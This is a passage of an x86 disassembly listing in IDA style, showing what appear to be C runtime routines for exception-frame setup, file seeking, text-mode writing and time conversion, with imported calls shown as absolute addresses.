					; sub_4222C2+7Cj ...
		call	sub_4225B2

loc_422467:				; CODE XREF: sub_4222C2+98j
					; sub_4222C2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh

loc_42246B:				; CODE XREF: sub_4222C2+2Ej
					; sub_4222C2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4222C2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422486	proc near		; CODE XREF: sub_421DB1+170p
					; sub_422252+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427900
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4224CD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4224CD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41C8C2
		or	[ebp+var_4], 0FFFFFFFFh

loc_4224CD:				; CODE XREF: sub_422486+2Aj
					; sub_422486+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422486	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4224ED	proc near		; CODE XREF: sub_4222C2+8Fp
					; sub_4222C2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_42250E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx

loc_42250E:				; CODE XREF: sub_4224ED+12j
		pop	esi
		retn
sub_4224ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422510	proc near		; CODE XREF: sub_41C955+40p
					; sub_42205D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41CC41
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42254F
		mov	ecx, 2

loc_42254F:				; CODE XREF: sub_422510+38j
		push	ecx
		call	sub_41CC41
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42255C	proc near		; CODE XREF: sub_421DB1:loc_421F53j
					; sub_4220FB:loc_42210Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427910
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DB328
		test	eax, eax
		jz	short loc_4225A4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------

loc_422599:				; DATA XREF: ___:00427920o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_42259D:				; DATA XREF: ___:00427924o
		mov	esp, [ebp+var_18]

loc_4225A0:				; CODE XREF: sub_42255C+3Bj
		and	[ebp+var_4], 0

loc_4225A4:				; CODE XREF: sub_42255C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_4225AD:				; DATA XREF: ___:00427918o
		jmp	loc_4247C0
sub_42255C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B2	proc near		; CODE XREF: sub_41CAF7+23p
					; sub_41CAF7:loc_41CB62p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43C8C4
		test	eax, eax
		jz	short loc_4225FA
		mov	[ebp+var_4], 1
		call	eax ; sub_42255C
		jmp	short loc_4225F6
; ---------------------------------------------------------------------------

loc_4225EF:				; DATA XREF: ___:00427938o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4225F3:				; DATA XREF: ___:0042793Co
		mov	esp, [ebp+var_18]

loc_4225F6:				; CODE XREF: sub_4225B2+3Bj
		and	[ebp+var_4], 0

loc_4225FA:				; CODE XREF: sub_4225B2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_422603:				; DATA XREF: ___:00427930o
		jmp	sub_42255C
sub_4225B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422608	proc near		; CODE XREF: sub_41CFD3+7p
					; sub_41CFD3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DC908
		push	esi
		cmp	eax, 3
		jnz	short loc_422631
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41DE77
		test	eax, eax
		pop	ecx
		jz	short loc_42262E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422666
; ---------------------------------------------------------------------------

loc_42262E:				; CODE XREF: sub_422608+1Cj
		push	esi
		jmp	short loc_422658
; ---------------------------------------------------------------------------

loc_422631:				; CODE XREF: sub_422608+Ej
		cmp	eax, 2
		jnz	short loc_422655
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422655
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422666
; ---------------------------------------------------------------------------

loc_422655:				; CODE XREF: sub_422608+2Cj
					; sub_422608+43j
		push	[ebp+arg_0]

loc_422658:				; CODE XREF: sub_422608+27j
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2670000h

loc_422666:				; CODE XREF: sub_422608+24j
					; sub_422608+4Bj
		pop	esi
		leave
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422669	proc near		; CODE XREF: sub_41D081+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422725
		cmp	ebx, 8Ah
		jg	loc_422725
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43CD8C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4226A8
		cmp	edi, 2
		jle	short loc_4226A8
		inc	esi

loc_4226A8:				; CODE XREF: sub_422669+37j
					; sub_422669+3Cj
		call	sub_4247D7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43CCA8
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_42271B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422721
		cmp	dword_43CCAC, 0
		jz	short loc_422721
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424A4A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422721

loc_42271B:				; CODE XREF: sub_422669+90j
		add	ecx, dword_43CCB0

loc_422721:				; CODE XREF: sub_422669+96j
					; sub_422669+9Fj ...
		mov	eax, ecx
		jmp	short loc_422728
; ---------------------------------------------------------------------------

loc_422725:				; CODE XREF: sub_422669+13j
					; sub_422669+1Fj
		or	eax, 0FFFFFFFFh

loc_422728:				; CODE XREF: sub_422669+BAj
		pop	ebx
		leave
		retn
sub_422669	endp


; =============== S U B	R O U T	I N E =======================================



sub_42272B	proc near		; CODE XREF: ___:0041D253p
					; sub_41F11C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DC6C0
		push	esi
		push	edi
		jnb	short loc_4227AD
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC5C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4227AD
		push	eax
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42276F
		mov	dword_4DB278, 9
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------

loc_42276F:				; CODE XREF: sub_42272B+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 2790000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42278F
		call	near ptr 2690800h
		nop
		jmp	short loc_422791
; ---------------------------------------------------------------------------

loc_42278F:				; CODE XREF: sub_42272B+5Aj
		xor	eax, eax

loc_422791:				; CODE XREF: sub_42272B+62j
		test	eax, eax
		jz	short loc_42279E
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------

loc_42279E:				; CODE XREF: sub_42272B+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4227C1
; ---------------------------------------------------------------------------

loc_4227AD:				; CODE XREF: sub_42272B+Dj
					; sub_42272B+2Aj
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9

loc_4227BE:				; CODE XREF: sub_42272B+42j
					; sub_42272B+71j
		or	eax, 0FFFFFFFFh

loc_4227C1:				; CODE XREF: sub_42272B+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42272B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227C5	proc near		; CODE XREF: ___:0041D216p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4227E1
		mov	[edi+4], ebx

loc_4227E1:				; CODE XREF: sub_4227C5+17j
		push	1
		push	ebx
		push	esi
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42284F
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422806
		sub	eax, [edi+4]
		jmp	loc_422918
; ---------------------------------------------------------------------------

loc_422806:				; CODE XREF: sub_4227C5+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422840
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DC5C0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422857
		mov	edx, ecx

loc_422831:				; CODE XREF: sub_4227C5+79j
		cmp	edx, eax
		jnb	short loc_422857
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42283D
		inc	[ebp+var_8]

loc_42283D:				; CODE XREF: sub_4227C5+73j
		inc	edx
		jmp	short loc_422831
; ---------------------------------------------------------------------------

loc_422840:				; CODE XREF: sub_4227C5+50j
		test	dl, 80h
		jnz	short loc_422857
		mov	dword_4DB278, 16h

loc_42284F:				; CODE XREF: sub_4227C5+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422918
; ---------------------------------------------------------------------------

loc_422857:				; CODE XREF: sub_4227C5+68j
					; sub_4227C5+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422865
		mov	eax, [ebp+var_8]
		jmp	loc_422918
; ---------------------------------------------------------------------------

loc_422865:				; CODE XREF: sub_4227C5+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422910
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42287E
		and	[ebp+var_8], edx
		jmp	loc_422910
; ---------------------------------------------------------------------------

loc_42287E:				; CODE XREF: sub_4227C5+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_42290A
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4228D1
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax

loc_4228BC:				; CODE XREF: sub_4227C5+104j
		cmp	eax, ecx
		jnb	short loc_4228CB
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4228C8
		inc	[ebp+arg_0]

loc_4228C8:				; CODE XREF: sub_4227C5+FEj
		inc	eax
		jmp	short loc_4228BC
; ---------------------------------------------------------------------------

loc_4228CB:				; CODE XREF: sub_4227C5+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422905
; ---------------------------------------------------------------------------

loc_4228D1:				; CODE XREF: sub_4227C5+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42272B
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4228F8
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4228F8
		test	ch, 4
		jz	short loc_4228FB

loc_4228F8:				; CODE XREF: sub_4227C5+124j
					; sub_4227C5+12Cj
		mov	eax, [edi+18h]

loc_4228FB:				; CODE XREF: sub_4227C5+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4

loc_422905:				; CODE XREF: sub_4227C5+10Aj
		jz	short loc_42290A
		inc	[ebp+arg_0]

loc_42290A:				; CODE XREF: sub_4227C5+D9j
					; sub_4227C5:loc_422905j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax

loc_422910:				; CODE XREF: sub_4227C5+A4j
					; sub_4227C5+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx

loc_422918:				; CODE XREF: sub_4227C5+3Cj
					; sub_4227C5+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4227C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42291D	proc near		; CODE XREF: sub_41D2B4+A2p
					; sub_41DB8B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DC6C0
		push	esi
		push	edi
		jnb	loc_422AB1
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_422AB1
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42296E

loc_422967:				; CODE XREF: sub_42291D+177j
		xor	eax, eax
		jmp	loc_422AC5
; ---------------------------------------------------------------------------

loc_42296E:				; CODE XREF: sub_42291D+48j
		test	al, 20h
		jz	short loc_42297E
		push	2
		push	edi
		push	ecx
		call	sub_42272B
		add	esp, 0Ch

loc_42297E:				; CODE XREF: sub_42291D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422A4D
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422A85

loc_42299E:				; CODE XREF: sub_42291D+F5j
		lea	eax, [ebp+var_414]

loc_4229A4:				; CODE XREF: sub_42291D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4229D8
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4229C3
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax

loc_4229C3:				; CODE XREF: sub_42291D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4229A4

loc_4229D8:				; CODE XREF: sub_42291D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 2700000h
		nop
		test	eax, eax
		jz	short loc_422A42
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422A14
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42299E

loc_422A14:				; CODE XREF: sub_42291D+EAj
					; sub_42291D+12Ej
		xor	edi, edi

loc_422A16:				; CODE XREF: sub_42291D+150j
					; sub_42291D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_422AAC
		cmp	[ebp+arg_0], edi
		jz	short loc_422A85
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422A7A
		mov	dword_4DB278, 9
		mov	dword_4DB27C, eax
		jmp	loc_422AC2
; ---------------------------------------------------------------------------

loc_422A42:				; CODE XREF: sub_42291D+E0j
		nop
		call	near ptr 2690800h
		mov	[ebp+arg_0], eax
		jmp	short loc_422A14
; ---------------------------------------------------------------------------

loc_422A4D:				; CODE XREF: sub_42291D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_422A6F
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------

loc_422A6F:				; CODE XREF: sub_42291D+145j
		nop
		call	near ptr 2690800h
		mov	[ebp+arg_0], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------

loc_422A7A:				; CODE XREF: sub_42291D+10Fj
		push	[ebp+arg_0]
		call	sub_4203DF
		pop	ecx
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------

loc_422A85:				; CODE XREF: sub_42291D+7Bj
					; sub_42291D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_422A9A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422967

loc_422A9A:				; CODE XREF: sub_42291D+16Fj
		mov	dword_4DB278, 1Ch
		mov	dword_4DB27C, edi
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------

loc_422AAC:				; CODE XREF: sub_42291D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_422AC5
; ---------------------------------------------------------------------------

loc_422AB1:				; CODE XREF: sub_42291D+15j
					; sub_42291D+37j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9

loc_422AC2:				; CODE XREF: sub_42291D+120j
					; sub_42291D+166j ...
		or	eax, 0FFFFFFFFh

loc_422AC5:				; CODE XREF: sub_42291D+4Cj
					; sub_42291D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42291D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422ACA	proc near		; CODE XREF: sub_41D5AA+47p
					; sub_41D5AA+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427948
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DB34C, edi
		jnz	short loc_422B40
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_422B1E
		mov	dword_4DB34C, ebx
		jmp	short loc_422B40
; ---------------------------------------------------------------------------

loc_422B1E:				; CODE XREF: sub_422ACA+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4CAE2C
		push	esi
		push	edi
		nop
		call	near ptr 2660000h
		test	eax, eax
		jz	loc_422C58
		mov	dword_4DB34C, 2

loc_422B40:				; CODE XREF: sub_422ACA+2Ej
					; sub_422ACA+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422B55
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_422B55:				; CODE XREF: sub_422ACA+79j
		mov	eax, dword_4DB34C
		cmp	eax, 2
		jnz	short loc_422B7C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2660000h
		nop
		jmp	loc_422C5A
; ---------------------------------------------------------------------------

loc_422B7C:				; CODE XREF: sub_422ACA+93j
		cmp	eax, 1
		jnz	loc_422C58
		cmp	[ebp+arg_18], edi
		jnz	short loc_422B92
		mov	eax, dword_4DB344
		mov	[ebp+arg_18], eax

loc_422B92:				; CODE XREF: sub_422ACA+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2850000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422C58
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BED
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]

loc_422BED:				; CODE XREF: sub_422ACA+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422C58
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	near ptr 2850000h
		nop
		test	eax, eax
		jz	short loc_422C58
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2650000h
		nop
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422C58
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422C6C
		cmp	[ebp+arg_14], edi
		jz	loc_422CE7
		cmp	esi, [ebp+arg_14]
		jg	short loc_422C58
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jnz	loc_422CE7

loc_422C58:				; CODE XREF: sub_422ACA+66j
					; sub_422ACA+B5j ...
		xor	eax, eax

loc_422C5A:				; CODE XREF: sub_422ACA+ADj
					; sub_422ACA+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_422C6C:				; CODE XREF: sub_422ACA+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422CA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_422CA0:				; CODE XREF: sub_422ACA+1C2j
		cmp	ebx, edi
		jz	short loc_422C58
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_422C58
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422CC7
		push	edi
		push	edi
		jmp	short loc_422CCD
; ---------------------------------------------------------------------------

loc_422CC7:				; CODE XREF: sub_422ACA+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_422CCD:				; CODE XREF: sub_422ACA+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	near ptr 2840000h
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422C58

loc_422CE7:				; CODE XREF: sub_422ACA+165j
					; sub_422ACA+188j
		mov	eax, esi
		jmp	loc_422C5A
sub_422ACA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422E2F
		test	eax, eax
		pop	ecx
		jz	loc_422E23
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422E23
		cmp	ebx, 5
		jnz	short loc_422D1F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422E2C
; ---------------------------------------------------------------------------

loc_422D1F:				; CODE XREF: ___:00422D11j
		cmp	ebx, 1
		jz	loc_422E1E
		mov	ecx, dword_4DB350
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DB350, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422E0E
		mov	ecx, dword_43C940
		mov	edx, dword_43C944
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422D6E
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43C8D0h[esi*4]

